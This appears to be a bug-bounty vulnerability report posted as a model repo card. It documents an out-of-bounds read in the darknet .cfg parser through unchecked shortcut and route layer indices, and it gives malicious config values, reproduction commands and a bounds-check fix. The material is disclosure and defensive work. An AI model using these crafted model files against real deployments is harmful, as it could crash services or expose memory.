YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Darknet β€” CWE-125 Out-of-Bounds Read via Unchecked Layer Index in .cfg Parser

Status: READY TO SUBMIT Severity: High Platform: huntr.com Payout: $1500

Target

Field Value
Format Darknet (.cfg / .weights)
Parser hank-ai/darknet (commit d17e352, 2026-05-20)
Platform huntr.com β€” Model File Formats program
CWE CWE-125 (Out-of-Bounds Read)
CVSS 7.5 (High)

Root Cause

parse_shortcut_section() in src-lib/darknet_cfg.cpp (line 1771–1783) adjusts negative from= values relative to the current layer index but performs no lower-bound check and no upper-bound check on the result before indexing net.layers[]:

int index = v[i];
if (index < 0)
    index = parms.index + index;  // ← adjusted, but never validated

sizes[i]         = net.layers[index].outputs;   // ← OOB read
layers_output[i] = net.layers[index].output;    // ← OOB pointer read
layers_delta[i]  = net.layers[index].delta;     // ← OOB pointer read

net.layers is allocated for exactly net.n layers (= number of sections in the .cfg). A from=999999999 reads ~45 GB past the allocation; from=-100 with only 1 prior layer resolves to index -99, reading before the array base.

Trigger Path

darknet predict evil_shortcut.cfg
  β†’ parse_network_cfg()
    β†’ CfgFile::create_network()
      β†’ parse_shortcut_section()        ← from=999999999, no bounds check
        β†’ net.layers[999999999].outputs ← CRASH (OOB read, SIGSEGV / ASAN)

Malicious Model Files

File Trigger
evil_shortcut.cfg [shortcut] from=999999999 β€” OOB beyond array end
evil_route.cfg [route] layers=-100 β€” OOB before array start

Reproduction

git clone https://github.com/hank-ai/darknet
cd darknet && cmake -B build -DDARKNET_TRY_CUDA=OFF && cmake --build build
./build/src-cli/darknet predict evil_shortcut.cfg
# β†’ Segmentation fault / ASAN: heap-buffer-overflow

Fix

Add bounds validation after the relative-index adjustment in both parse_shortcut_section() and parse_route_section():

if (index < 0 || index >= (int)parms.index)
{
    darknet_fatal_error(DARKNET_LOC,
        "layer reference %d is out of range [0, %d)", v[i], (int)parms.index);
}
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support